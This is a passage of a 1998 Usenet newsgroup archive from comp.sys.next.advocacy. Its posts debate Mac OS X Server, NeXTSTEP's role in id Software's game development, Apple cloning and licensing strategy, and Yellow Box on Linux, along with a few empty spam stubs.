Date: 9 Oct 1998 15:44:15 GMT
Organization: AOL http://www.aol.com
References: <6vl939$69u@shelob.afs.com>
Message-ID: <19981009114415.02705.00005479@ng82.aol.com>
Well, one consideration here is that (as Greg doubtless knows) Mr. Tevanian has
been described as, "one of the most heavily recruited CS graduates ever."
One of his job offers was from Microsoft (to work on OS/2, I believe--it was
far back enough that M$ was still doing this for IBM AFAIR) so perhaps it's
related to this.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: 9 Oct 1998 15:47:23 GMT
Organization: AOL http://www.aol.com
References: <361DF901.898@issl.atl.hp.com>
Message-ID: <19981009114723.02705.00005481@ng82.aol.com>
"Joseph K. Vossen" <jkv@issl.atl.hp.com> asked:
>are the NeXTSTEP level editors available for public consumption?
I just saw the source code for this available on Peanuts (game/action) as I
recall. There's a note there from Carmack, I think it was, detailing it.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 09 Oct 1998 16:11:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vlcjn$mk0$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com> <361CE373.485E019C@ericsson.com> <6vj9vq$u5o$1@nnrp1.dejanews.com> <6vjmce$pj5$1@news.idiom.com>
In article <6vjmce$pj5$1@news.idiom.com>,
jcr.remove@this.phrase.idiom.com wrote:
> "Charles Swiger" may or may not have said:
> [snip]
>-> For example, OpenStep apps run faster on Mach then they do under YellowBox
>-> on NT, although it's more complicated than just from one factor.
>
> That might have something to do with NT being a bloated piece of crap.
Yup-- there's quite a difference between, say, the IPC implementation under NT
and Mach messaging under Mach, or between the VM implementations....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X Server
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news> <361D1042.39E7@earthlink.net> <andyba-ya02408000R0910980947000001@news>
Message-ID: <361e5520.0@news.depaul.edu>
Date: 9 Oct 98 18:25:36 GMT
In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
> In article <361D1042.39E7@earthlink.net>, skellener@earthlink.net wrote:
> > Andy Bates wrote:
> >
> > > Less than one year late for the Premier release, but only a few months late
> > > for the Unified release. Doesn't seem too bad.
> >
> > Yes it is bad if you are not a developer and have been waiting to use
> > the damn thing forever!
> Well, for $500 (is that right?) you can become a developer and get Mac OS X
> Server for free, plus beta version of other system software. Considering
> that OS X Server will probably be at least $250, it looks like a good deal
> to me!
No, you get the Beta of OS X Server for free. They haven't said if you
get the shipping version with your developer membership. You may end
up paying $500 for DR2 and then full price for the shipping version.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Aaron Tunnell" <ork@p3.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Mon, 12 Oct 1998 02:03:40 -0400
Organization: Virginia Tech, Blacksburg, Virginia, USA
Message-ID: <6vs6hi$57a$1@solaris.cc.vt.edu>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <6vkibb$4l4$1@supernews.com> <see-below-0910982215180001@dynamic30.pm02.mv.best.com>
NNTP-Posting-Date: 12 Oct 1998 06:10:58 GMT
Dohnut wrote in message ...
Carmack did a .plan update a few months past talking about programming and
saying that Nextstep was and still is his favorite environment for
programming... I was looking for a achieve of older .plan updates but
couldn't find it, if anyone has it please post it or email it to me, thanks
From: agave@blight.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 10 Oct 1998 03:17:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vmjjc$l2t$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news> <361D1042.39E7@earthlink.net> <andyba-ya02408000R0910980947000001@news> <361e5520.0@news.depaul.edu>
In article <361e5520.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
> No, you get the Beta of OS X Server for free. They haven't said if you
> get the shipping version with your developer membership. You may end
> up paying $500 for DR2 and then full price for the shipping version.
>
I doubt that's the case. The Apple Developer Connection Mailing
(http://developer.apple.com/programs/mailing.html) is supposed to contain all
system software needed for Apple developers. If a System Software Edition
doesn't contain MacOS X Server (and in the future MacOS X), I would be very
surprised.
-Ian has been surprised before though :P
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: agave@blight.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 10 Oct 1998 03:16:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vmjjb$l2s$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news> <361D1042.39E7@earthlink.net> <andyba-ya02408000R0910980947000001@news> <361e5520.0@news.depaul.edu>
In article <361e5520.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
> No, you get the Beta of OS X Server for free. They haven't said if you
> get the shipping version with your developer membership. You may end
> up paying $500 for DR2 and then full price for the shipping version.
>
I doubt that's the case. The Apple Developer Connection Mailing
(http://developer.apple.com/programs/mailing.html) is supposed to contain all
system software needed for Apple developers. If a System Software Edition
doesn't contain MacOS X Server (and in the future MacOS X), I would be very
surprised.
-Ian has been surprised before though :P
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 5 Oct 1998 05:01:00 GMT
Organization: University of Illinois at Chicago
Message-ID: <6v9jqc$1jfi$1@piglet.cc.uic.edu>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net>
Michael Peck (mjpeck@nstar.net) wrote:
: Sal Denaro wrote:
: > _All_ of those points also apply to outsourcing.
: I disagree.
: > There are four things that
: > OEM would provide that licensing would not
: >
: > 1) Preserve Apple's margins, and the margins of Apple resellers.
: Apple's margins would go up, not down, if it were collecting a license
: fee for machines sold. The only requirement is that (license fee * all
: machines sold) is higher than (gross margin * all Apple machines sold).
The only way this is likely to occur is if the license fee were
extraordinarily high.
It's important that Apple's revenues go up as well, though. Hardware
contributes signficantly more revenue that helps cover Apple's
high operating costs. At some point, Apple will need to license
Mac OS or OS X to another company or companies to gain additional
growth and attract new customers. However, little companies won't
be a likely choice because they really can't attract new customers
because they don't have the influence or resources to do so. Same goes
for large companies that don't have signifcant marketshares in the
desktop market. What Apple needs are licensees that don't plan
to simply compete on price and that can bring resources to the
market. Companies like IBM or HP.
: If Apple were serious about
: 1) Providing innovation
: 2) Helping partners to expand the market by actually shipping a new
: operating system
: these would be ludicrously easy goals to meet. Naturally, one notices
: that the entire plan hinges on *software*, not hardware. Curious, no?
That's not true either. Apple's plans involving introducing new
hardware technologies not just new software.
: Either Apple can deliver software and should expand the market for that
: software, or Apple cannot deliver software, and should begin shipping
: Solaris or Windows NT on Apple-branded hardware. It cannot do both, no
: matter how many more companies it buys, no matter how many manufacturers
: it uses to outsource trendy consumer machines.
: > 2) Preserve the value of the Apple brand keeping Apple from being a
: > "Me to" product.
: If Apple can become a "Me too" product in the general pool of
: competition, there is absolutely nothing to recommend Apple in the first
: place. Go buy a PC.
: If, on the other hand, Apple has something (ostensibly an innovative
: will) that differentiates its product, there is no reason to worry that
: Apple's lineup will become "Me too" products.
: Personally, I think you have reason to worry, and reason to go buy a PC.
: But I'm trying to argue within the notions of present company.
: > 3) Increase Apple's market share, rather than the "Mac" market share or
: > PowerPC market share.
: Increasing "Mac" or "PowerPC" market share has more collateral benefits
: than increasing Apple's market share. Regardless, increasing either of
: the former two will increase Apple's market share in software.
: I'm not a stockholder (as you are; been a rocky month, eh?), so I'm
: thinking more about the platform. I understand your bias in favor of the
: company itself, but it's really not germane to this conversation.
: I guess it depends on how you approach the issue. Some people say
: "What's good for Apple is what's good for the platform", and this is how
: they justify looking toward Apple's interests before looking toward the
: customers' interests, the platform's interests, etc.
: Others say "What's good for the Macintosh is what's good for Apple". I
: suppose I would fall into this camp, having watched Apple destroy itself
: by neglecting the Macintosh platform, not the other way around
: (obviously, Apple hasn't been neglecting its CEOs' bank accounts).
Not exactly. The fundamental question for the first half of the year
was whether Apple can survive, and therefore can the Macintosh
platform survive. The two are tied together. The weaker Apple got
the less likely that customers would buy from either Apple or
cloners. Apple had to save its own butt first, or there would
be no Macintosh platform. Many people are still questioning whether
or not Apple has saved its own butt as of this point. However most
would agree that Apple is in better shape now than last year.
For Apple to prove it has saved itself, it will require sequential
quarters of signficant revenue growth, which will only come with
hardware sales. If Apple were to reintroduce cloning at this point,
the only way Apple could increase revenues signficantly would be
if the licensees sold anywhere from 6 to 20 machines depending on the
platform licensing cost for every machine sale Apple lost. This is
unlikely to happen until the question of whether Apple has saved itself is
answered. It probably won't happen until Apple proves that it has
a platform that is truly viable for the next decade.
: > 4) Prevent "model proliferation" from increasing QA costs (As cloners
: > begin to use other parts to cut costs)
: Build the QA costs into the license fee. Component manufacturers would
: have to be certified separately, anyway, so only certified parts would
: make it to the QA table. This is a non-issue.
: > Apple has plenty of competition as it is, it doesn't need to create new
: > competition for itself.
: What Apple needs is new competition that's on its team. It's already got
: a whole world of competition that isn't. Some of us call the first kind
: of competition "partners".
: But of course we both know that Apple has always been afraid of
: partners, because if you're not careful, partners can become masters,
: and Apple has always had an inferiority complex. Did you ever wonder why
: the original cloners were virtual nobodies in the PC business?
: PowerComputing was a brand-new company, and UMAX had never sold PCs
: before. Tatung, Vertegri, all of these were newbies to the business,
: with no track records. And there weren't even very many of them. Why
: would Apple choose these to help it build a new MacOS enterprise,
: instead of companies like Gateway and Compaq (who had made overtures to
: Apple in previous years)?
This I agree with completely. However, while Gateway and Compaq may have
made overtures, they would have likely found themselves in dire straits
with Microsoft and Intel and probably would not have followed through
in 1995 or 1996 when this was a possibility.
: The obvious answer is that Apple was scared of big names, and decided to
: pick weak partners who would satisfy the hue and cry from stockholders
: for cloning without actually forcing Apple to be competitive. What is so
: stunning about this scenario is that these frail competitors actually
: drove Apple to the brink of bankruptcy, taking as much as 30% of Apple's
: core market of "98% loyal" customers.
Well it isn't stunning when you think about who the customers are.
They are mainly self-supporting price conscious businesses and
consumers as well as some performance minded users. It was easy
for the cloners to build a few high performance machines and steal
away the customers who were looking for top performance or top/price
performance. They forced Apple to do the same. At the same time they
weren't able to meet all the demand, so a lot of back-orders were created
which basically froze the marketplace while leaving a lot of low and
medium performance hardware stockpiled in warehouses. So Apple
ended up with a lot of low-end inventory while it lost both sales and
margin on high end products. In the end Apple couldn't cover
its extremely high operating costs while at the same it was forced
to write-off inventory.
: Given the example of the last cloning situation, it's not difficult to
: be cynical. But I wanted to give the discussion one more shot, in light
: of the iMac's success. So far I'm getting exactly what I expected.
: MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 9 Oct 98 21:05:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2442B1F-68423@206.165.43.121>
References: <361e5520.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>No, you get the Beta of OS X Server for free. They haven't said if you
>get the shipping version with your developer membership. You may end
>up paying $500 for DR2 and then full price for the shipping version.
Now that WOULD be a kick in the pants, wouldn't it? Traditionally, ALL
MacOS versions come with the developer package, even language-specific
versions. If you have some reason why you think that this won't be the case
any more, feel free to let us know...
[having just paid $500 for the select package myself so that we can start
work on YB and Carbon applications, I'm hoping that you're wrong]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Fri, 09 Oct 1998 22:15:18 -0700
Message-ID: <see-below-0910982215180001@dynamic30.pm02.mv.best.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <6vkibb$4l4$1@supernews.com>
In article <6vkibb$4l4$1@supernews.com>, mcgredo@otter.mbay.net (Donald R.
McGregor) wrote:
> In article <6vilca$ts0$1@nnrp1.dejanews.com>,
> <esmalling@my-dejanews.com> wrote:
> >Regarding StepWise's report of Quake II for MacOS X Server being ported in
> >just 3 days ( http://www.stepwise.com/PR/981007-01.html )
> >
> >Do you think the source code Omni got was already OpenStep/Obj-C ? When did
> >id go from using NEXTSTEP as their development platform to Win32?
>
> id has said in the past that they use ANSI C for the engine itself.
> The level editors and other utilities on DOOM were done with a NeXT,
> which they said helped them develop things very quickly.
Actually, as someone else pointed out, Doom during its development didn't
even run under DOS at first, instead requiring Nextstep to run (and I
think their development machines at the time were HP workstations?) Quake
I'm not so sure about--I think by that time they were probably running on
Intel, and only made the tools under Nextstep/Openstep but ran the game
itself under DOS. For Quake II, and currently, they develop everything in
WindowsNT.
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Fri, 09 Oct 1998 22:26:47 -0700
Distribution: world
Message-ID: <see-below-0910982226480001@dynamic30.pm02.mv.best.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <6vkibb$4l4$1@supernews.com> <361DF901.898@issl.atl.hp.com>
In article <361DF901.898@issl.atl.hp.com>, jkv@issl.atl.hp.com wrote:
> Donald R. McGregor wrote:
> >
> > In article <6vilca$ts0$1@nnrp1.dejanews.com>,
> > <esmalling@my-dejanews.com> wrote:
> > >Regarding StepWise's report of Quake II for MacOS X Server being ported in
> > >just 3 days ( http://www.stepwise.com/PR/981007-01.html )
> > >
> > >Do you think the source code Omni got was already OpenStep/Obj-C ?
When did
> > >id go from using NEXTSTEP as their development platform to Win32?
> >
> > id has said in the past that they use ANSI C for the engine itself.
> > The level editors and other utilities on DOOM were done with a NeXT,
> > which they said helped them develop things very quickly.
> >
>
> are the NeXTSTEP level editors available for public consumption?
I have no idea about Next versions, but I know you can freely download all
of id's Quake utilities for PC (DOS/Windows), and some have been ported to
Macintosh and other platforms (not sure, but probably id just released the
source code for them). Obviously the same is true for Doom (they've now
released the source for the game itself). Of course, there are many
3rd-party utilities available as well, often better (or at least more
user-friendly) than id's own (ie Worldcraft and Arghlite on the PC and
Quiver on the Macintosh).
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: Mike Spille <mspille@tisny.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 11 Oct 1998 17:19:05 -0500
Organization: Transaction Information Systems
Message-ID: <3620E830.6ECE948F@tisny.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com> <361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com> <361B827D.94E253C6@tisny.com> <361BE837.F4EADDB7@egg.chips.and.spam.com> <6vh4im$bvh$3@news.idiom.com> <361C8300.31A5ECDD@tisny.com> <ch3-1110981434040001@ip183.seattle11.wa.pub-ip.psi.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
CaHand wrote:
>
> > > -> You only have to look at IBM's Java commitment to see this. IBM
> > > -> is investing in Java on a massive scale.
> > >
> > > That's why Im convinced that Java is doomed. The last project that IBM had
> > > thousands of people working on was Office Vision (remember?) and that burned
> > > up 900 million dollars before they pulled the plug.
> > >
> >
> > A major difference is that this is not an IBM-only initiative. They are
> > merely one player in a larger market, and signifcantly IBM is mostly
> > playing by the rules. Most failed IBM projects were ones where IBM
> > was the primary (or only) "champion of the cause".
> >
>
> Funny how IBM continues to silently develop VisualAge SmallTalk,
> which is actually quite comparable to OpenStep. If they had such
> rock solid belief in "Java is the answer" philosophy, I'd think
> they'd drop VASmallTalk and put that money into the Java effort.
>
Why should IBM drop a product line if it's selling to their satisfaction?
They are hardly resource-poor - parallel Java and Smalltalk isn't going
to strain them. In addition, to some extent doing Java _and_
Smalltalk is mutually reinforcing - Java people may be lured into their
Smalltalk product and vice-versa. Along those lines I hear that much
(all?) of Visual Age Java is written in Smalltalk, and they're working on
a VM that can deal with both languages.
> Best Regards.
-Mike
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X Server
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news> <361D1042.39E7@earthlink.net> <andyba-ya02408000R0910980947000001@news> <361e5520.0@news.depaul.edu> <6vmjjb$l2s$1@nnrp1.dejanews.com>
Message-ID: <361edbd7.0@news.depaul.edu>
Date: 10 Oct 98 04:00:23 GMT
In comp.sys.next.advocacy agave@blight.com wrote:
> In article <361e5520.0@news.depaul.edu>,
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >
> > No, you get the Beta of OS X Server for free. They haven't said if you
> > get the shipping version with your developer membership. You may end
> > up paying $500 for DR2 and then full price for the shipping version.
> >
> I doubt that's the case. The Apple Developer Connection Mailing
> (http://developer.apple.com/programs/mailing.html) is supposed to contain all
> system software needed for Apple developers. If a System Software Edition
> doesn't contain MacOS X Server (and in the future MacOS X), I would be very
> surprised.
Rhapsody has been treated and shipped separately from the start. I see
no reason to assume that it will be in the developer mailing. For one
thing, the developer mailing puts all the OS's on one disk. That won't
work for OS X Server, since it's too big, and has a different filesystem
format.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: steep@iolumxpu.ca
Subject: Money.....Money.....Money.....Money.....Money...
Newsgroups: comp.sys.next.advocacy
Message-ID: <wGkU1.44227$wx4.2715126@newse2.tampabay.rr.com>
Date: Mon, 12 Oct 1998 10:17:00 GMT
NNTP-Posting-Date: Mon, 12 Oct 1998 06:17:00 EDT
An unregistered version of Newsgroup AutoPoster PRO
posted this article!
---
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---
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From: steep@xfbtklvk.fun
Subject: GET CASH FOR YOUR HOME PROJECT!!!!!!
Newsgroups: comp.sys.next.advocacy
Message-ID: <wGkU1.44230$wx4.2715126@newse2.tampabay.rr.com>
Date: Mon, 12 Oct 1998 10:17:00 GMT
NNTP-Posting-Date: Mon, 12 Oct 1998 06:17:00 EDT
An unregistered version of Newsgroup AutoPoster PRO
posted this article!
---
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From: steep@weoinywl.fun
Subject: MORE CASH FOR FUN!
Newsgroups: comp.sys.next.advocacy
Message-ID: <wGkU1.44229$wx4.2715126@newse2.tampabay.rr.com>
Date: Mon, 12 Oct 1998 10:17:00 GMT
NNTP-Posting-Date: Mon, 12 Oct 1998 06:17:00 EDT
An unregistered version of Newsgroup AutoPoster PRO
posted this article!
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From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Mon, 12 Oct 1998 03:30:20 -0700
Message-ID: <see-below-1210980330210001@dynamic21.pm01.mv.best.com>
References: <361DF901.898@issl.atl.hp.com> <19981009114723.02705.00005481@ng82.aol.com> <3621c05a.0@uni-wuerzburg.de>
In article <3621c05a.0@uni-wuerzburg.de>,
sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll) wrote:
> willadams@aol.com (WillAdams) wrote:
> >
> >"Joseph K. Vossen" <jkv@issl.atl.hp.com> asked:
> >>are the NeXTSTEP level editors available for public consumption?
> >
> >I just saw the source code for this available on Peanuts (game/action) as I
> >recall. There's a note there from Carmack, I think it was, detailing it.
>
> On peanuts is QuakeEd. It would be cool, to have the original id DoomEd
> publically available.
I'm surprised it's not available. You can get the source for the game
(Doom) itself.
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
Newsgroups: comp.sys.next.advocacy
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: 12 Oct 1998 12:33:34 GMT
Organization: UCO & Associates, LLP
Message-ID: <6vssuu$9n2$1@wbnws01.ne.highway1.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com>
alex@WebIS.net (Alex Kac) wrote:
> command line for some of my file management. Why can't I have two darned
> windows easily open so I can drag tween them? Why must I have to create a
> new viewer and then navigate again there? It was a waste of time and brain
You can. You just hit Cmnd-Shift-O, or Alt-double click, or OPEN AS FOLDER
from the menu, and the directory you are in will open as another window. I
agree that allowing one to simply double click in the browser view without
requiring modifiers would make things go quicker, but it wasn't that bad for
me.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Mon, 12 Oct 1998 01:11:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vrkvh$dcu$1@nnrp1.dejanews.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <lekleber-0410981734320001@uar180003.columbus.rr.com> <6v9719$cp$1@nnrp1.dejanews.com> <lekleber-1110980234460001@uar180121.columbus.rr.com>
In article <lekleber-1110980234460001@uar180121.columbus.rr.com>,
lekleber@columbus.rr.com (ALE) wrote:
> I said similar hardware, not exact same.
It would have to do all the same things that the PC system does to be
sufficiently similar to be useful.
> In the context it was said, I at least thought he was talking about the
> average user. In that context, he was right. Now everyone knows that
> there is an exeption to almost every rule. I thought that would need not
> be said.
He was not talking about the average user. He was talking about everybody.
Using the word "all" indicates that there are no exceptions (one of the
definitions of "all" is "every member or individual component of"). The
statement that all oranges are orange is false if one or more oranges is not
orange.
> There are always those really rare instances where some how
> someone finds a junk pile to be useful.
Then junk is not always useless.
> But in this case, and as far as
> I'm concernd, the average user is the basis for my comments. Mainly
> because 95%+ of the market is the average user which still has absolutly
> no reason to choose a 286 over a PPC.
I agree with you. However, we are now arguing about 95%+ of the market instead
of all of it.
> For most?!? Try for nearly everyone, a G3 would be a better fit. If you
> really want to get into "the exeption to the rule", I would wager that
> there are cases where an Amiga would be a better choice then Pent II 450.
> If fact, I bet there are many times where a calculator would be a better
> choice than a Pent II 450. :)
Of course there are some cases where an Amiga would be a better choice than a
PII-450. Likewise with respect to the calculator.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-m6sobVx0TynD@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost> <6vou3e$gmb$1@supernews.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 12 Oct 1998 13:29:38 GMT
Organization: IBM.NET
On Sun, 11 Oct 1998 00:28:30, mcgredo@otter.mbay.net (Donald R.
McGregor) thought aloud:
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >One move to help keep YB viable would IMHO be adopting Linux as a
> >strategic YB platform.
>
> I'd like to see YB on Linux, too. But it wouldn't be a panacea.
No, but it would give Apple a good chance to gain acceptance to their
key future technologies on a platform that is by its nature runs on
different hardware and isn't controlled by a ruthless competitor with
all the hissy fits and hidden agendas. Linux is just in the beginning
of a rising curve and being a solution provider early enough would
have benefits wrt. mindshare and adopted key technologies.
When YB and QTML are securely closer to mainstream it'd be heckuva
easier for PC users to either upgrade to a Apple PowerPC system;
techies running YB/Linux and/or Mac OS X on them for speed, and their
moms running Mac OS X for reliable ease of use. Linux could be the
springboard that makes suc "non-standard" things like YB, QTML and
PowerPC more of a natural choice to PC users and therefore more
attractive to developers as well.
> There would be a lot of work to get YB running on top of Linux.
>
> And all you'd really be getting is the Apple L&F running on top
> of an operating system that more or less does everything as well
> as Mach. (I'm asuming the apple port would implement the Rhapsody
> imaging model, workspace, and L&F, just running over Linux instead
> of Mach. Though it would also be possible to do a Sun-style port
> that used X-Windows, I don't see Apple going there.)
Is Yellow Box for Windows very problematic to implement? GNUStep folks
are already working on a voluntary effort implementing YB
functionality to Linux, usin the GNOME object model, IIRC. It would
appear to be well-respected effort among Linux users but short of
knowledgable volunteers. If a group of volunteers believe they can do
it over time, what could Apple do...
> The version of Linux used would have to be under
> Apple control; you couldn't just drop in a new version and expect
> things to work. That means you have to keep some scurrying forest
> creatures around to manage the OS code in any event.
Naturally there needs to be version management with the Linux
libraries, GNOME etc. OTOH if Apple could afford a couple of
volunteers on the mainstream code (esp. GNOME) they'd be right on the
ball. The different Linux distributions actually keep very well
updated wrt. the OS components that really matter.
> While you would generally get better source-code-off-the-archives
> compile and run compatability with linux, it would probably be easier to
> just rely on the community to port things like Apache. Particularly
> if Apple has 4.4BSD compatability on OSX--things would likely just
> work most of the time anyway.
You're talking about bringing Linux stuff over to Mac OS X, instead, I
would like to see the important Mac OS X stuff (YB and QTML) taken to
Linux... Then someone could write a beautiful Yellow Box front end to
Apache and sell it to a wide audience... "Hey, even I can now manage
my server with this YB/Apache..."
Brgds,
--
taiQ
[this space is intentionally blank]
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 12 Oct 1998 02:01:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vrntr$548@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net>
On Sun, 11 Oct 1998 16:52:26 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> >I wouldn't have thought it needed pointing out that Carbon is not an
